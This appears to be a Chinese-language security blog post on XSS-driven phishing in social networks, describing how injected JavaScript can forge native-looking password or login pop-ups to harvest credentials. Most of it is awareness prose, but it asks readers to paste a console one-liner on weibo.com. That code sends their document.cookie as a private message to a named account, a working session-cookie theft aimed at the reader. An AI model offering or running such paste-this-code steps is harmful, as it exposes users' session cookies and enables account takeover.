前段时间一直在写工具党、大数据黑客相关的科普文,今天开始换点口味好了,来看看前端攻击里一些“惊悚”的攻击方式。
今天只说高级钓鱼
如果深刻知道这种钓鱼攻击的人,估计以后会谈鱼色变,这次我不科普太多文字,只简单说下这种在大众面前几乎一片空白的攻击方式,所以看完本篇文字,很多人还会继续得瑟:“反正我不会中招”,深入的讲解我一般都放在一些内部的安全培训上了,如果有时间计划整出一篇paper出来,一定很精彩。
大家想想,在社交网络里(weibo也算,具有社交属性的都算),我们对很多专属于这个社交网络的风格元素是不是习以为常了,比如漂亮的登录页面、设置页面、修改密码页面、弹出层、聊天框、发消息界面等等,天天见,天天用,对这样的风格习以为常了,哪天出现一个风格类似的新功能(比如提示“密码异常,修改密码”的弹出层),也不会怀疑,还以为是新增的友好功能……
这些对于JavaScript来说都是可以伪造的啊,而且可以超级YD的伪造,代码量也不用多少,为什么呢?这得感谢那些伟大的前端工程师,他们封装了很多超级方便的接口:)
只要一个XSS(跨站脚本攻击),就可以引入任意JavaScript代码,鬼魂一般,伪造了一个看起来真的假界面,钓到了想要的关键数据,目的就达到了。其实在真实的高级攻击里,如果能不钓就不钓,多了交互就多了攻击复杂度,一段JavaScript也许通过一些Hacking技巧就能拿到如明文密码、隐私资料等数据,只要一招。
在社交网络里,用户体验好作为第一要素,对于攻击者来说,攻击也会讲究用户体验好,哪怕没有XSS,也可以完成攻击,想想,如何伪装界面?只是利用XSS的攻击更加原汁原味(我常说的原生态攻击方式)。
原生态除了UI可以利用原生,还有相关的JS库接口,比如针对weibo.com的一个小玩笑,大家可以用Chrome浏览器登录自己的微博,然后按f12打开“开发者工具”,在Console中,复制上如下代码,回车执行:
STK.core.io.ajax({method:’POST’,url:’/aj/message/add’,args:{text:document.cookie.substr(0,300),screen_name:’%E4%BD%99%E5%BC%A6′}})
如此简洁的代码,攻击者要是利用起来该有多方便:D
钓鱼无非就是欺骗,在社交网络里利用XSS进行的高级钓鱼攻击真的让人防不胜防,这种攻击我很早就提出,我感觉已经在逐渐流行了,这就是为什么这两年经常有人提到的“美工黑客”,恩,黑客为了生存,开始更猥琐了,开始接触美工了,美工的目的就是视觉欺骗。
最后:多一分警惕,少一次泄密……